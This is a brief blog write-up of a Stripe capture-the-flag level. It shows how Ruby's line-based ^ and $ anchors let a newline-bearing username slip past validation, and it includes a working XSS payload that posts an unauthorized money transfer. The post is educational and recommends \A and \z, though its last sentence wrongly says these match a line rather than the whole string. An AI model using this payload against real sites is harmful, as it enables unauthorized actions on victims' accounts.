Index ¦ Archives ¦ RSS

Playing with Stripe CTF

I was playing around with Stripe's source code for last year's CTF, and from what I could see online, most people solved Level 4 by using XSS in the password field. But look at the following line in srv.rb:

unless username =~ /^\w+$/
  ie("Invalid username. Usernames must match /^\w+$/", :register)
end

Turns out there is a hole here as well due to the way Ruby treats the ^ and $ metacharacters. According to the documentation, the ^ anchor matches the beginning of a line, instead of the entire string. Thus

puts "match" if "<script>" =~ /^\w$/     # doesn't print anything
puts "match" if "<script>\nx" =~ /^\w$/  #>> match

This allows us to use the username field as an attack vector.

xss = <<-eos
<script>
$.post('/transfer', { to: 'me', amount: '10' });
</script>
x
eos
Net::HTTP.post_form uri, { username: xss, password: 'x' }

Trips me up every time. Use \A and \z to match the beginning and end of a line in ruby.

References

© James Lim. Built using Pelican. Theme by Giulio Fidente on github.